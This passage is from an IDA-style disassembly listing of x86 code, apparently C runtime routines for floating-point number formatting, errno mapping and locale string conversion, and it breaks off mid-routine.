loc_4227B0: ; CODE XREF: sub_422750+18j
mov eax, [ebp+arg_0]
mov cl, [eax]
mov [ebp+var_8], cl
mov edx, [ebp+arg_0]
mov al, byte_442F5C
mov [edx], al
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
loc_4227CB: ; CODE XREF: sub_422750+A2j
mov edx, [ebp+arg_0]
mov al, [edx]
mov [ebp+var_4], al
mov ecx, [ebp+arg_0]
mov dl, [ebp+var_8]
mov [ecx], dl
mov al, [ebp+var_4]
mov [ebp+var_8], al
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
test edx, edx
jnz short loc_4227CB
mov esp, ebp
pop ebp
retn
sub_422750 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422800 proc near ; CODE XREF: sub_41EA90+6F1p
; DATA XREF: sub_41A370+Do ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
loc_422804: ; CODE XREF: sub_422800+28j
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42282A
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
movsx ecx, byte_442F5C
cmp eax, ecx
jz short loc_42282A
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
jmp short loc_422804
; ---------------------------------------------------------------------------
loc_42282A: ; CODE XREF: sub_422800+Cj
; sub_422800+1Dj
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
test ecx, ecx
jz loc_4228D3
loc_422841: ; CODE XREF: sub_422800+6Aj
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42286C
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
cmp eax, 65h
jz short loc_42286C
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 45h
jz short loc_42286C
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
jmp short loc_422841
; ---------------------------------------------------------------------------
loc_42286C: ; CODE XREF: sub_422800+49j
; sub_422800+54j ...
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
sub edx, 1
mov [ebp+arg_0], edx
loc_42287B: ; CODE XREF: sub_422800+8Fj
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
cmp ecx, 30h
jnz short loc_422891
mov edx, [ebp+arg_0]
sub edx, 1
mov [ebp+arg_0], edx
jmp short loc_42287B
; ---------------------------------------------------------------------------
loc_422891: ; CODE XREF: sub_422800+84j
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
movsx edx, byte_442F5C
cmp ecx, edx
jnz short loc_4228AB
mov eax, [ebp+arg_0]
sub eax, 1
mov [ebp+arg_0], eax
loc_4228AB: ; CODE XREF: sub_422800+A0j
; sub_422800+D1j
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_4]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
test eax, eax
jz short loc_4228D3
jmp short loc_4228AB
; ---------------------------------------------------------------------------
loc_4228D3: ; CODE XREF: sub_422800+3Bj
; sub_422800+CFj
mov esp, ebp
pop ebp
retn
sub_422800 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4228E0 proc near ; DATA XREF: sub_41A370+2Bo
; .data:off_443210o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
fld qword ptr [eax]
fcomp ds:dbl_433008
fnstsw ax
test ah, 1
jnz short loc_4228FF
mov [ebp+var_4], 1
jmp short loc_422906
; ---------------------------------------------------------------------------
loc_4228FF: ; CODE XREF: sub_4228E0+14j
mov [ebp+var_4], 0
loc_422906: ; CODE XREF: sub_4228E0+1Dj
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4228E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422910 proc near ; CODE XREF: sub_41FBE0+1138p
; DATA XREF: sub_41A370+17o ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
cmp [ebp+arg_0], 0
jz short loc_42293C
mov eax, [ebp+arg_8]
push eax
lea ecx, [ebp+var_8]
push ecx
call sub_4293C0
add esp, 8
mov edx, [ebp+arg_4]
mov eax, [ebp+var_8]
mov [edx], eax
mov ecx, [ebp+var_4]
mov [edx+4], ecx
jmp short loc_422954
; ---------------------------------------------------------------------------
loc_42293C: ; CODE XREF: sub_422910+Aj
mov edx, [ebp+arg_8]
push edx
lea eax, [ebp+var_C]
push eax
call sub_429440
add esp, 8
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_C]
mov [ecx], edx
loc_422954: ; CODE XREF: sub_422910+2Aj
mov esp, ebp
pop ebp
retn
sub_422910 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422960 proc near ; CODE XREF: sub_422DF0+1Fp
var_2C = byte ptr -2Ch
var_14 = byte ptr -14h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 2Ch
lea eax, [ebp+var_14]
mov [ebp+var_4], eax
lea ecx, [ebp+var_2C]
push ecx
lea edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
mov edx, [eax]
push edx
call sub_429580
add esp, 10h
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_8]
add ecx, 1
push ecx
mov edx, [ebp+var_4]
xor eax, eax
cmp dword ptr [edx], 2Dh
setz al
mov ecx, [ebp+arg_4]
add ecx, eax
xor edx, edx
cmp [ebp+arg_8], 0
setnle dl
add ecx, edx
push ecx
call sub_429480
add esp, 0Ch
push 0
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_4229E0
add esp, 14h
mov eax, [ebp+arg_4]
mov esp, ebp
pop ebp
retn
sub_422960 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4229E0 proc near ; CODE XREF: sub_422960+67p
; sub_422D00+9Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
push ebp
mov ebp, esp
sub esp, 8
movsx eax, [ebp+arg_10]
test eax, eax
jz short loc_422A17
mov ecx, [ebp+arg_C]
xor edx, edx
cmp dword ptr [ecx], 2Dh
setz dl
mov eax, [ebp+arg_0]
add eax, edx
mov [ebp+var_4], eax
xor ecx, ecx
cmp [ebp+arg_4], 0
setnle cl
push ecx
mov edx, [ebp+var_4]
push edx
call sub_422E50
add esp, 8
loc_422A17: ; CODE XREF: sub_4229E0+Cj
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 2Dh
jnz short loc_422A34
mov edx, [ebp+var_4]
mov byte ptr [edx], 2Dh
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_422A34: ; CODE XREF: sub_4229E0+43j
cmp [ebp+arg_4], 0
jle short loc_422A58
mov ecx, [ebp+var_4]
mov edx, [ebp+var_4]
mov al, [edx+1]
mov [ecx], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov al, byte_442F5C
mov [edx], al
loc_422A58: ; CODE XREF: sub_4229E0+58j
push offset aE000 ; "e+000"
mov ecx, [ebp+var_4]
add ecx, [ebp+arg_4]
movsx edx, [ebp+arg_10]
neg edx
sbb edx, edx
inc edx
add ecx, edx
push ecx
call sub_419FA0
add esp, 8
mov [ebp+var_4], eax
cmp [ebp+arg_8], 0
jz short loc_422A86
mov eax, [ebp+var_4]
mov byte ptr [eax], 45h
loc_422A86: ; CODE XREF: sub_4229E0+9Ej
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+arg_C]
mov eax, [edx+0Ch]
movsx ecx, byte ptr [eax]
cmp ecx, 30h
jz loc_422B3F
mov edx, [ebp+arg_C]
mov eax, [edx+4]
sub eax, 1
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jge short loc_422AC1
mov ecx, [ebp+var_8]
neg ecx
mov [ebp+var_8], ecx
mov edx, [ebp+var_4]
mov byte ptr [edx], 2Dh
loc_422AC1: ; CODE XREF: sub_4229E0+D1j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
cmp [ebp+var_8], 64h
jl short loc_422AF5
mov eax, [ebp+var_8]
cdq
mov ecx, 64h
idiv ecx
mov edx, [ebp+var_4]
mov cl, [edx]
add cl, al
mov edx, [ebp+var_4]
mov [edx], cl
mov eax, [ebp+var_8]
cdq
mov ecx, 64h
idiv ecx
mov [ebp+var_8], edx
loc_422AF5: ; CODE XREF: sub_4229E0+EEj
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
cmp [ebp+var_8], 0Ah
jl short loc_422B29
mov eax, [ebp+var_8]
cdq
mov ecx, 0Ah
idiv ecx
mov edx, [ebp+var_4]
mov cl, [edx]
add cl, al
mov edx, [ebp+var_4]
mov [edx], cl
mov eax, [ebp+var_8]
cdq
mov ecx, 0Ah
idiv ecx
mov [ebp+var_8], edx
loc_422B29: ; CODE XREF: sub_4229E0+122j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov cl, [eax]
add cl, byte ptr [ebp+var_8]
mov edx, [ebp+var_4]
mov [edx], cl
loc_422B3F: ; CODE XREF: sub_4229E0+BBj
mov eax, [ebp+arg_0]
mov esp, ebp
pop ebp
retn
sub_4229E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422B50 proc near ; CODE XREF: sub_422DF0+3Bp
var_2C = byte ptr -2Ch
var_14 = byte ptr -14h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 2Ch
lea eax, [ebp+var_14]
mov [ebp+var_4], eax
lea ecx, [ebp+var_2C]
push ecx
lea edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
mov edx, [eax]
push edx
call sub_429580
add esp, 10h
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_8]
add edx, [ecx+4]
push edx
mov eax, [ebp+var_4]
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
mov edx, [ebp+arg_4]
add edx, ecx
push edx
call sub_429480
add esp, 0Ch
push 0
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
call sub_422BC0
add esp, 10h
mov eax, [ebp+arg_4]
mov esp, ebp
pop ebp
retn
sub_422B50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422BC0 proc near ; CODE XREF: sub_422B50+5Bp
; sub_422D00+D9p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_8]
mov ecx, [eax+4]
sub ecx, 1
mov [ebp+var_8], ecx
movsx edx, [ebp+arg_C]
test edx, edx
jz short loc_422C13
mov eax, [ebp+arg_8]
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
mov edx, [ebp+arg_0]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_4]
jnz short loc_422C13
mov ecx, [ebp+var_4]
add ecx, [ebp+var_8]
mov [ebp+var_C], ecx
mov edx, [ebp+var_C]
mov byte ptr [edx], 30h
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
mov byte ptr [ecx], 0
loc_422C13: ; CODE XREF: sub_422BC0+18j
; sub_422BC0+33j
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
mov eax, [ebp+arg_8]
cmp dword ptr [eax], 2Dh
jnz short loc_422C30
mov ecx, [ebp+var_4]
mov byte ptr [ecx], 2Dh
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_422C30: ; CODE XREF: sub_422BC0+5Fj
mov eax, [ebp+arg_8]
cmp dword ptr [eax+4], 0
jg short loc_422C58
push 1
mov ecx, [ebp+var_4]
push ecx
call sub_422E50
add esp, 8
mov edx, [ebp+var_4]
mov byte ptr [edx], 30h
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_422C64
; ---------------------------------------------------------------------------
loc_422C58: ; CODE XREF: sub_422BC0+77j
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
add edx, [ecx+4]
mov [ebp+var_4], edx
loc_422C64: ; CODE XREF: sub_422BC0+96j
cmp [ebp+arg_4], 0
jle loc_422CF6
push 1
mov eax, [ebp+var_4]
push eax
call sub_422E50
add esp, 8
mov ecx, [ebp+var_4]
mov dl, byte_442F5C
mov [ecx], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+arg_8]
cmp dword ptr [ecx+4], 0
jge short loc_422CF6
movsx edx, [ebp+arg_C]
test edx, edx
jz short loc_422CAE
mov eax, [ebp+arg_8]
mov ecx, [eax+4]
neg ecx
mov [ebp+arg_4], ecx
jmp short loc_422CD4
; ---------------------------------------------------------------------------
loc_422CAE: ; CODE XREF: sub_422BC0+DFj
mov edx, [ebp+arg_8]
mov eax, [edx+4]
neg eax
cmp [ebp+arg_4], eax
jge short loc_422CC3
mov ecx, [ebp+arg_4]
mov [ebp+var_10], ecx
jmp short loc_422CCE
; ---------------------------------------------------------------------------
loc_422CC3: ; CODE XREF: sub_422BC0+F9j
mov edx, [ebp+arg_8]
mov eax, [edx+4]
neg eax
mov [ebp+var_10], eax
loc_422CCE: ; CODE XREF: sub_422BC0+101j
mov ecx, [ebp+var_10]
mov [ebp+arg_4], ecx
loc_422CD4: ; CODE XREF: sub_422BC0+ECj
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+var_4]
push eax
call sub_422E50
add esp, 8
mov ecx, [ebp+arg_4]
push ecx
push 30h
mov edx, [ebp+var_4]
push edx
call sub_4189A0
add esp, 0Ch
loc_422CF6: ; CODE XREF: sub_422BC0+A8j
; sub_422BC0+D7j
mov eax, [ebp+arg_0]
mov esp, ebp
pop ebp
retn
sub_422BC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422D00 proc near ; CODE XREF: sub_422DF0+55p
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = byte ptr -2Ch
var_14 = byte ptr -14h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 38h
mov [ebp+var_30], 0
lea eax, [ebp+var_14]
mov [ebp+var_38], eax
lea ecx, [ebp+var_2C]
push ecx
lea edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
mov edx, [eax]
push edx
call sub_429580
add esp, 10h
mov eax, [ebp+var_38]
mov ecx, [eax+4]
sub ecx, 1
mov [ebp+var_34], ecx
mov edx, [ebp+var_38]
xor eax, eax
cmp dword ptr [edx], 2Dh
setz al
mov ecx, [ebp+arg_4]
add ecx, eax
mov [ebp+var_4], ecx
mov edx, [ebp+var_38]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_429480
add esp, 0Ch
mov edx, [ebp+var_38]
mov eax, [edx+4]
sub eax, 1
xor ecx, ecx
cmp [ebp+var_34], eax
setl cl
mov [ebp+var_30], cl
mov edx, [ebp+var_38]
mov eax, [edx+4]
sub eax, 1
mov [ebp+var_34], eax
cmp [ebp+var_34], 0FFFFFFFCh
jl short loc_422D8B
mov ecx, [ebp+var_34]
cmp ecx, [ebp+arg_8]
jl short loc_422DA7
loc_422D8B: ; CODE XREF: sub_422D00+81j
push 1
mov edx, [ebp+var_38]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
call sub_4229E0
add esp, 14h
jmp short loc_422DE1
; ---------------------------------------------------------------------------
loc_422DA7: ; CODE XREF: sub_422D00+89j
movsx eax, [ebp+var_30]
test eax, eax
jz short loc_422DCB
loc_422DAF: ; CODE XREF: sub_422D00+C2j
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
test edx, edx
jz short loc_422DC4
jmp short loc_422DAF
; ---------------------------------------------------------------------------
loc_422DC4: ; CODE XREF: sub_422D00+C0j
mov ecx, [ebp+var_4]
mov byte ptr [ecx-2], 0
loc_422DCB: ; CODE XREF: sub_422D00+ADj
push 1
mov edx, [ebp+var_38]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_422BC0
add esp, 10h
loc_422DE1: ; CODE XREF: sub_422D00+A5j
mov esp, ebp
pop ebp
retn
sub_422D00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422DF0 proc near ; CODE XREF: sub_41EA90+6ADp
; DATA XREF: sub_41A370+3o ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_422DFF
cmp [ebp+arg_8], 45h
jnz short loc_422E19
loc_422DFF: ; CODE XREF: sub_422DF0+7j
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_422960
add esp, 10h
jmp short loc_422E4D
; ---------------------------------------------------------------------------
loc_422E19: ; CODE XREF: sub_422DF0+Dj
cmp [ebp+arg_8], 66h
jnz short loc_422E35
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_422B50
add esp, 0Ch
jmp short loc_422E4D
; ---------------------------------------------------------------------------
loc_422E35: ; CODE XREF: sub_422DF0+2Dj
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_422D00
add esp, 10h
loc_422E4D: ; CODE XREF: sub_422DF0+27j
; sub_422DF0+43j
pop ebp
retn
sub_422DF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422E50 proc near ; CODE XREF: sub_4229E0+2Fp
; sub_422BC0+7Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
jz short loc_422E7C
mov eax, [ebp+arg_0]
push eax
call sub_418E70
add esp, 4
add eax, 1
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_0]
add edx, [ebp+arg_4]
push edx
call sub_426C00
add esp, 0Ch
loc_422E7C: ; CODE XREF: sub_422E50+7j
pop ebp
retn
sub_422E50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422E80 proc near ; CODE XREF: sub_41A3E0+1Ep
; sub_41B720+2Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
call sub_422F30
mov ecx, [ebp+arg_0]
mov [eax], ecx
mov [ebp+var_4], 0
jmp short loc_422EA0
; ---------------------------------------------------------------------------
loc_422E97: ; CODE XREF: sub_422E80:loc_422EC8j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_422EA0: ; CODE XREF: sub_422E80+15j
cmp [ebp+var_4], 2Dh
jnb short loc_422ECA
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
cmp ecx, dword_443218[eax*8]
jnz short loc_422EC8
call sub_422F20
mov edx, [ebp+var_4]
mov ecx, dword_44321C[edx*8]
mov [eax], ecx
jmp short loc_422F0D
; ---------------------------------------------------------------------------
loc_422EC8: ; CODE XREF: sub_422E80+33j
jmp short loc_422E97
; ---------------------------------------------------------------------------
loc_422ECA: ; CODE XREF: sub_422E80+24j
cmp [ebp+arg_0], 13h
jb short loc_422EE3
cmp [ebp+arg_0], 24h
ja short loc_422EE3
call sub_422F20
mov dword ptr [eax], 0Dh
jmp short loc_422F0D
; ---------------------------------------------------------------------------
loc_422EE3: ; CODE XREF: sub_422E80+4Ej
; sub_422E80+54j
cmp [ebp+arg_0], 0BCh
jb short loc_422F02
cmp [ebp+arg_0], 0CAh
ja short loc_422F02
call sub_422F20
mov dword ptr [eax], 8
jmp short loc_422F0D
; ---------------------------------------------------------------------------
loc_422F02: ; CODE XREF: sub_422E80+6Aj
; sub_422E80+73j
call sub_422F20
mov dword ptr [eax], 16h
loc_422F0D: ; CODE XREF: sub_422E80+46j
; sub_422E80+61j ...
mov esp, ebp
pop ebp
retn
sub_422E80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422F20 proc near ; CODE XREF: sub_41A3E0+3Fp
; sub_41A870:loc_41AB42p ...
push ebp
mov ebp, esp
call sub_41FA10
add eax, 8
pop ebp
retn
sub_422F20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422F30 proc near ; CODE XREF: sub_41A3E0+4Ap
; sub_41C930+4Ep ...
push ebp
mov ebp, esp
call sub_41FA10
add eax, 0Ch
pop ebp
retn
sub_422F30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422F40 proc near ; CODE XREF: sub_41A5E0+11Ep
; sub_41A5E0+16Fp ...
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_433020
push offset sub_425F84
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFDCh
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp dword_492158, 0
jnz short loc_422FC6
push 0
push 0
push 1
push offset dword_43301C
push 100h
push 0
call ds:dword_494478
test eax, eax
jz short loc_422F97
mov dword_492158, 1
jmp short loc_422FC6
; ---------------------------------------------------------------------------
loc_422F97: ; CODE XREF: sub_422F40+49j
push 0
push 0
push 1
push offset dword_433018
push 100h
push 0
call ds:dword_494474
test eax, eax
jz short loc_422FBF
mov dword_492158, 2
jmp short loc_422FC6
; ---------------------------------------------------------------------------
loc_422FBF: ; CODE XREF: sub_422F40+71j
xor eax, eax
jmp loc_423231
; ---------------------------------------------------------------------------
loc_422FC6: ; CODE XREF: sub_422F40+2Dj
; sub_422F40+55j ...
cmp [ebp+arg_C], 0
jle short loc_422FDF
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
call sub_423250
add esp, 8
mov [ebp+arg_C], eax
loc_422FDF: ; CODE XREF: sub_422F40+8Aj
cmp dword_492158, 2
jnz short loc_42300B
mov edx, [ebp+arg_14]
push edx
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call ds:dword_494474
jmp loc_423231
; ---------------------------------------------------------------------------
loc_42300B: ; CODE XREF: sub_422F40+A6j
cmp dword_492158, 1
jnz loc_42322F
cmp [ebp+arg_18], 0
jnz short loc_423027
mov edx, dword_492180
mov [ebp+arg_18], edx
loc_423027: ; CODE XREF: sub_422F40+DCj
push 0
push 0
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_1C]
neg edx
sbb edx, edx
and edx, 8
add edx, 1
push edx
mov eax, [ebp+arg_18]
push eax
call ds:dword_4942D4
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jnz short loc_42305B
xor eax, eax
jmp loc_423231
; ---------------------------------------------------------------------------
loc_42305B: ; CODE XREF: sub_422F40+112j
mov [ebp+var_4], 0
mov eax, [ebp+var_1C]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_418D40
mov [ebp+var_30], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_30]
mov [ebp+var_24], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_42309D
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_24], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_42309D: ; CODE XREF: sub_422F40+144j
cmp [ebp+var_24], 0
jnz short loc_4230AA
xor eax, eax
jmp loc_423231
; ---------------------------------------------------------------------------
loc_4230AA: ; CODE XREF: sub_422F40+161j
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+var_24]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
push 1
mov eax, [ebp+arg_18]
push eax
call ds:dword_4942D4
test eax, eax
jnz short loc_4230D1
xor eax, eax
jmp loc_423231
; ---------------------------------------------------------------------------
loc_4230D1: ; CODE XREF: sub_422F40+188j
push 0
push 0
mov ecx, [ebp+var_1C]
push ecx
mov edx, [ebp+var_24]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call ds:dword_494478
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jnz short loc_4230FB
xor eax, eax
jmp loc_423231
; ---------------------------------------------------------------------------
loc_4230FB: ; CODE XREF: sub_422F40+1B2j
mov edx, [ebp+arg_4]
and edx, 400h
test edx, edx
jz short loc_42314B
cmp [ebp+arg_14], 0
jz short loc_423146
mov eax, [ebp+var_28]
cmp eax, [ebp+arg_14]
jle short loc_42311D
xor eax, eax
jmp loc_423231
; ---------------------------------------------------------------------------
loc_42311D: ; CODE XREF: sub_422F40+1D4j
mov ecx, [ebp+arg_14]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+var_1C]
push eax
mov ecx, [ebp+var_24]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call ds:dword_494478
test eax, eax
jnz short loc_423146
xor eax, eax
jmp loc_423231
; ---------------------------------------------------------------------------
loc_423146: ; CODE XREF: sub_422F40+1CCj
; sub_422F40+1FDj
jmp loc_42322A
; ---------------------------------------------------------------------------
loc_42314B: ; CODE XREF: sub_422F40+1C6j
mov ecx, [ebp+var_28]
mov [ebp+var_2C], ecx
mov [ebp+var_4], 1
mov eax, [ebp+var_2C]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_418D40
mov [ebp+var_34], esp
mov [ebp+var_18], esp
mov edx, [ebp+var_34]
mov [ebp+var_20], edx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_423193
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_20], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_423193: ; CODE XREF: sub_422F40+23Aj
cmp [ebp+var_20], 0
jnz short loc_4231A0
xor eax, eax
jmp loc_423231
; ---------------------------------------------------------------------------
loc_4231A0: ; CODE XREF: sub_422F40+257j
mov eax, [ebp+var_2C]
push eax
mov ecx, [ebp+var_20]
push ecx
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+var_24]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call ds:dword_494478
test eax, eax
jnz short loc_4231C6
xor eax, eax
jmp short loc_423231
; ---------------------------------------------------------------------------
loc_4231C6: ; CODE XREF: sub_422F40+280j
cmp [ebp+arg_14], 0
jnz short loc_4231FA
